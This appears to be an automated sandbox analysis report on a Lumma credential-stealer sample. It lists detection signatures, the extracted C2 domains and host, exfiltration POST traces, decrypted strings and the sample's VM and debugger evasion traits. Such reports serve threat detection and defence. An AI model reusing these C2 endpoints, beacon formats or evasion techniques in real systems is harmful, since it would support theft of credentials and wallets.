Edit tour

Windows Analysis Report
YKri2nEBWE.exe

Overview

General Information

Sample name:	YKri2nEBWE.exe renamed because original name is a hash value
Original sample name:	1c4c5cca8b9c930895e0e425563cf07e.exe
Analysis ID:	1580915
MD5:	1c4c5cca8b9c930895e0e425563cf07e
SHA1:	d0db3a5c54648e8480652d342dcb2526e4f9ce4d
SHA256:	36dd0a1b361b0bb7d38e1bccc954188ac2cd7d030440bbf406da3a27fb5ba098
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for sample

PE file contains section with special chars

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Detected potential crypto function

Entry point lies outside standard sections

Found inlined nop instructions (likely shell or obfuscated code)

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

YKri2nEBWE.exe (PID: 6460 cmdline: "C:\Users\user\Desktop\YKri2nEBWE.exe" MD5: 1C4C5CCA8B9C930895E0E425563CF07E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["manyrestro.lat", "observerfry.lat", "tentabatte.lat", "wordyfindy.lat", "slipperyloo.lat", "bashfulacid.lat", "talkynicer.lat", "shapestickyr.lat", "curverpluch.lat"], "Build id": "LOGS11--LiveTraffic"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: YKri2nEBWE.exe PID: 6460	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: YKri2nEBWE.exe PID: 6460	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: YKri2nEBWE.exe PID: 6460	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security
Click to see the 4 entries

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:25.225746+0100	2028371	3	Unknown Traffic	192.168.2.5	49704	104.102.49.254	443	TCP
2024-12-26T13:09:27.876648+0100	2028371	3	Unknown Traffic	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-26T13:09:29.989306+0100	2028371	3	Unknown Traffic	192.168.2.5	49706	172.67.157.254	443	TCP
2024-12-26T13:09:32.689522+0100	2028371	3	Unknown Traffic	192.168.2.5	49707	172.67.157.254	443	TCP
2024-12-26T13:09:37.545483+0100	2028371	3	Unknown Traffic	192.168.2.5	49709	172.67.157.254	443	TCP
2024-12-26T13:09:40.569369+0100	2028371	3	Unknown Traffic	192.168.2.5	49717	172.67.157.254	443	TCP
2024-12-26T13:09:43.592013+0100	2028371	3	Unknown Traffic	192.168.2.5	49729	172.67.157.254	443	TCP
2024-12-26T13:09:46.195558+0100	2028371	3	Unknown Traffic	192.168.2.5	49736	172.67.157.254	443	TCP
2024-12-26T13:09:50.190424+0100	2028371	3	Unknown Traffic	192.168.2.5	49747	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:28.651555+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49705	172.67.157.254	443	TCP
2024-12-26T13:09:30.761854+0100	2054653	1	A Network Trojan was detected	192.168.2.5	49706	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:28.651555+0100	2049836	1	A Network Trojan was detected	192.168.2.5	49705	172.67.157.254	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:30.761854+0100	2049812	1	A Network Trojan was detected	192.168.2.5	49706	172.67.157.254	443	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:23.453183+0100	2058480	1	Domain Observed Used for C2 Detected	192.168.2.5	57309	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:23.166540+0100	2058484	1	Domain Observed Used for C2 Detected	192.168.2.5	50814	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:22.732990+0100	2058492	1	Domain Observed Used for C2 Detected	192.168.2.5	63101	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:22.875255+0100	2058500	1	Domain Observed Used for C2 Detected	192.168.2.5	62155	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:22.593628+0100	2058502	1	Domain Observed Used for C2 Detected	192.168.2.5	49392	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:23.026058+0100	2058510	1	Domain Observed Used for C2 Detected	192.168.2.5	55701	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:23.312825+0100	2058512	1	Domain Observed Used for C2 Detected	192.168.2.5	56756	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:22.355457+0100	2058514	1	Domain Observed Used for C2 Detected	192.168.2.5	62122	1.1.1.1	53	UDP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:44.390705+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.5	49729	172.67.157.254	443	TCP

ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-26T13:09:26.082788+0100	2858666	1	Domain Observed Used for C2 Detected	192.168.2.5	49704	104.102.49.254	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: YKri2nEBWE.exe

Avira: detected

Antivirus detection for URL or domain

Source: https://lev-tolstoi.com/piNXxr&	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/W	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/t	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apil	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apix	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apis	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/uo0	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apiB	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/0	Avira URL Cloud: Label: malware
Source: https://lev-tolstoi.com/apimC	Avira URL Cloud: Label: malware

Found malware configuration

Source: YKri2nEBWE.exe.6460.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["manyrestro.lat", "observerfry.lat", "tentabatte.lat", "wordyfindy.lat", "slipperyloo.lat", "bashfulacid.lat", "talkynicer.lat", "shapestickyr.lat", "curverpluch.lat"], "Build id": "LOGS11--LiveTraffic"}

Multi AV Scanner detection for submitted file

Source: YKri2nEBWE.exe	Virustotal: Detection: 56%			Perma Link
Source: YKri2nEBWE.exe	ReversingLabs: Detection: 63%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: YKri2nEBWE.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: bashfulacid.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: tentabatte.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: curverpluch.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: talkynicer.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: shapestickyr.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: manyrestro.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: slipperyloo.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: wordyfindy.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: observerfry.lat
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000003.2085036026.00000000052C0000.00000004.00001000.00020000.00000000.sdmp	String decryptor: LOGS11--LiveTraffic

Source: C:\Users\user\Desktop\YKri2nEBWE.exe

Code function: 0_2_00C557C0 CryptUnprotectData,

0_2_00C557C0

Source: YKri2nEBWE.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 104.102.49.254:443 -> 192.168.2.5:49704 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49705 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49706 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49717 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49729 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.157.254:443 -> 192.168.2.5:49736 version: TLS 1.2

Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then cmp word ptr [edi+ebx+02h], 0000h	0_2_00C80340
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov edx, ebx	0_2_00C48600
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then lea esi, dword ptr [eax+00000270h]	0_2_00C48A50
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov edi, dword ptr [esi+30h]	0_2_00C4CC7A
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then movzx edx, byte ptr [esp+ecx-16h]	0_2_00C80D20
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C6D34A
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov eax, ebx	0_2_00C67440
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then movzx ecx, byte ptr [esp+eax+09AD4080h]	0_2_00C67440
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then movzx edx, byte ptr [esp+eax-16h]	0_2_00C81720
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov word ptr [eax], cx	0_2_00C61A10
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C6E0DA
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C6C0E6
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then mov byte ptr [ebx], al	0_2_00C6C09E
Source: C:\Users\user\Desktop\YKri2nEBWE.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 385488F2h	0_2_00C681CC

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2058512 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (tentabatte .lat) : 192.168.2.5:56756 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058502 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (slipperyloo .lat) : 192.168.2.5:49392 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058492 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (manyrestro .lat) : 192.168.2.5:63101 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058514 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (wordyfindy .lat) : 192.168.2.5:62122 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058510 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (talkynicer .lat) : 192.168.2.5:55701 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058500 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (shapestickyr .lat) : 192.168.2.5:62155 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058484 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (curverpluch .lat) : 192.168.2.5:50814 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2058480 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (bashfulacid .lat) : 192.168.2.5:57309 -> 1.1.1.1:53
Source: Network traffic	Suricata IDS: 2858666 - Severity 1 - ETPRO MALWARE Win32/Lumma Stealer Steam Profile Lookup : 192.168.2.5:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49729 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49705 -> 172.67.157.254:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: manyrestro.lat
Source: Malware configuration extractor	URLs: observerfry.lat
Source: Malware configuration extractor	URLs: tentabatte.lat
Source: Malware configuration extractor	URLs: wordyfindy.lat
Source: Malware configuration extractor	URLs: slipperyloo.lat
Source: Malware configuration extractor	URLs: bashfulacid.lat
Source: Malware configuration extractor	URLs: talkynicer.lat
Source: Malware configuration extractor	URLs: shapestickyr.lat
Source: Malware configuration extractor	URLs: curverpluch.lat

Source: Joe Sandbox View	IP Address: 172.67.157.254 172.67.157.254
Source: Joe Sandbox View	IP Address: 104.102.49.254 104.102.49.254

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49705 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49707 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49706 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49709 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49704 -> 104.102.49.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49729 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49736 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49747 -> 172.67.157.254:443
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.5:49717 -> 172.67.157.254:443

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 53Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=KXFK18MULF3JUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12805Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=VKT7L0W22DT4VG3WF7NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15089Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=GMDSDS57JOWEYUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20543Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=6D1VSVWUV9B0QUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1217Host: lev-tolstoi.com
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=D4K1U7QC7LXR63User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 572733Host: lev-tolstoi.com

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic

HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com

Source: global traffic	DNS traffic detected: DNS query: observerfry.lat
Source: global traffic	DNS traffic detected: DNS query: wordyfindy.lat
Source: global traffic	DNS traffic detected: DNS query: slipperyloo.lat
Source: global traffic	DNS traffic detected: DNS query: manyrestro.lat
Source: global traffic	DNS traffic detected: DNS query: shapestickyr.lat
Source: global traffic	DNS traffic detected: DNS query: talkynicer.lat
Source: global traffic	DNS traffic detected: DNS query: curverpluch.lat
Source: global traffic	DNS traffic detected: DNS query: tentabatte.lat
Source: global traffic	DNS traffic detected: DNS query: bashfulacid.lat
Source: global traffic	DNS traffic detected: DNS query: steamcommunity.com
Source: global traffic	DNS traffic detected: DNS query: lev-tolstoi.com

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: lev-tolstoi.com

Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: YKri2nEBWE.exe, 00000000.00000003.2255321255.0000000005EDD000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: YKri2nEBWE.exe, 00000000.00000003.2283078885.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2282746044.000000000159C000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2283719723.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2284073141.000000000159E000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2309668421.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000002.2368577753.00000000015B8000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2286941764.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2287405344.00000000015AA000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2151287475.00000000015AC000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2327042056.00000000015A7000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 00000000.00000003.2366814829.00000000015B5000.00000004.00000020.00020000.00000000.sdmp, YKri2nEBWE.exe, 